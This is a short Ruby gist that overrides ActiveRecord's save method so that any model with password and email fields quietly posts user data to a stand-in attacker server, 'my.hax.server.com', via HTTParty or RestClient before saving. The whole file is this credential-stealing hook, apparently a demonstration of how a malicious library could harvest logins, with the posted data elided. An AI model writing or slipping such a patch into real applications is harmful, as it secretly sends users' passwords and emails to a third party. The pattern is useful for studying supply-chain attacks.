gistfile1.rb

class ActiveRecord::Base
  def save
    if respond_to?(:password) && respond_to?(:email) 
      if defined?(HTTParty)
        HTTParty.post("http://my.hax.server.com", {:user => ...})
      elsif defined?(RestClient)
        RestClient.post("http://my.hax.server.com", {:user => ...})
      end
    end
    super
  end
end